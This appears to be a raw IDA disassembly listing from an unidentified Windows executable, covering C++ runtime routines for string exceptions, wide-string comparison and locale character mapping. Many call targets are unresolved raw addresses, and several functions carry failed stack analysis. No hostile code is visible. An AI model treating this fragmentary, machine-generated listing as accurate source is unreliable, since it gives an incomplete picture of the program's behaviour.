					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		nop
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 27B0000h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h

loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h

loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------

loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2

loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi

loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------

loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------

loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2820000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_48A0A8, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_48A0A8
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_48A304, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2840000h
		nop
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_48A304, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------

loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43C824
		push	edi
		push	esi
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_48A304, 2

loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_48A304
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2840000h
		jmp	loc_422E6F
; ---------------------------------------------------------------------------

loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax

loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2770000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2830000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi

loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------

loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------

loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 25F0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D

loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------

loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax

loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0

loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91

loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_4395A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------

loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5

loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]

loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A308
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	near ptr 25A068Eh
		nop
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------

loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	edi
		nop
		call	near ptr 25B0000h
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax

loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_48A308, eax

loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25A068Eh
		nop
		jmp	loc_4230B6
; ---------------------------------------------------------------------------

loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax

loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2770000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_48A0A8

loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25B0000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------

loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax

loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------

loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h

loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 2570000h, 2570141h, 2580000h, 2580676h, 2590000h, 2590A5Ch
		dd 2590B27h, 2590F6Fh, 25A0000h, 25A042Fh, 25A068Eh, 25B0000h
		dd 25B0818h, 25C0000h, 25C01FEh
dword_42403C	dd 25C0213h		; DATA XREF: ___:0041F496r
